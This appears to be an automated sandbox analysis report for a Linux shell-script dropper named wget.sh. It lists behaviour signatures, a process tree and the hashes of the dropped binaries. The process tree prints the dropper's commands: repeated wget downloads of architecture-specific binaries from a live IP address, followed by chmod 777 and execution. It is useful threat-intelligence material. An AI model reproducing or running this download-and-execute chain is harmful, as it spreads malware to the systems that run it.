Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20250619-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20250619-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    18/02/2026, 19:06

General

  • Target
    wget.sh
  • Size 392B
  • Sample260218-xsa1vsft6e
  • SHA256 5273878a02fc3de5576f27dca29eb0f8a415066aa341cc819a9177bedb3d5378
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/wget.sh
    /tmp/wget.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:1501
    • /bin/rm
      rm -rf xddf
      2⤵
        PID:1502
      • /usr/bin/wget
        wget http://103.251.236.118/multi/bins/arm5 -O -
        2⤵
          PID:1503
        • /bin/chmod
          chmod 777 xddf
          2⤵
          • File and Directory Permissions Modification
          PID:1507
        • /mnt/xddf
          ./xddf
          2⤵
            PID:1508
          • /usr/bin/wget
            wget http://103.251.236.118/multi/bins/arm7 -O -
            2⤵
              PID:1510
            • /bin/chmod
              chmod 777 xddf
              2⤵
              • File and Directory Permissions Modification
              PID:1511
            • /mnt/xddf
              ./xddf
              2⤵
                PID:1512
              • /usr/bin/wget
                wget http://103.251.236.118/multi/bins/mips -O -
                2⤵
                • System Network Configuration Discovery
                PID:1514
              • /bin/chmod
                chmod 777 xddf
                2⤵
                • File and Directory Permissions Modification
                PID:1517
              • /mnt/xddf
                ./xddf
                2⤵
                  PID:1518
                • /usr/bin/wget
                  wget http://103.251.236.118/multi/bins/mipsel -O -
                  2⤵
                  • System Network Configuration Discovery
                  PID:1520
                • /bin/chmod
                  chmod 777 xddf
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1521
                • /mnt/xddf
                  ./xddf
                  2⤵
                    PID:1522
                  • /usr/bin/wget
                    wget http://103.251.236.118/multi/bins/x86_64 -O -
                    2⤵
                      PID:1524
                    • /bin/chmod
                      chmod 777 xddf
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1525
                    • /mnt/xddf
                      ./xddf
                      2⤵
                        PID:1526

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          xddf

                          • Path /mnt/xddf
                          • Size 510KB
                          • SHA256 98812df45c44e4e29e41e22a573ab08bbdfcf70184ade3f419adbdc90d03843b
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          xddf

                          • Path /mnt/xddf
                          • Size 489KB
                          • SHA256 9ea6ada08b81cba34c0e339f8f2ac9e4407aa4c8ce84aecfe838e05a0af521fc
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          xddf

                          • Path /mnt/xddf
                          • Size 481KB
                          • SHA256 99752a194b98d7ff3b85fad553430c4ace0fcb80196fec94049439dd817143de
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          xddf

                          • Path /mnt/xddf
                          • Size 663KB
                          • SHA256 1897f70cb9533a28b9d926afdb07dcbfd35eed95838df5c3178763a0b185dce8
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          xddf

                          • Path /mnt/xddf
                          • Size 667KB
                          • SHA256 dc83972f4fbb789d3a89325474f1c9529cf6795545c23d10aa18715efbeccb98
                          • MD5 SHA1 SHA512 SSDEEP TLSH